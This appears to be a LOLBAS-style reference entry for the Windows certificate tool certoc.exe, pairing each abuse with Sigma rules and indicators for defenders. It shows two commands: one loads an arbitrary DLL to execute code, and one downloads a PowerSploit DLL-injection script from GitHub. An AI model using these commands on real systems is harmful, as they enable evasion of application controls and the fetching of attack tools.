.. /CertOC.exe

Execute (DLL) Download

Used for installing certificates

Paths:
c:\windows\system32\certoc.exe
c:\windows\syswow64\certoc.exe

Resources:

- https://twitter.com/sblmsrsn/status/1445758411803480072?s=20
- https://twitter.com/sblmsrsn/status/1452941226198671363?s=20

Acknowledgements:

- Ensar Samil (@sblmsrsn)

Detections:

- Sigma: https://github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_certoc_load_dll.yml
- IOC: Process creation with given parameter
- IOC: Unsigned DLL load via certoc.exe
- IOC: Network connection via certoc.exe

Execute

Loads the target DLL file

```
certoc.exe -LoadDLL "C:\test\calc.dll"
```

Use case:	Execute code within DLL file
Privileges required:	User
Operating systems:	Windows Server 2022
ATT&CK® technique:	T1218
Tags:	Execute: DLL

Download

Downloads text formatted files

```
certoc.exe -GetCACAPS
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/CodeExecution/Invoke-DllInjection.ps1
```

Use case:	Download scripts, webshells etc.
Privileges required:	User
Operating systems:	Windows Server 2022
ATT&CK® technique:	T1105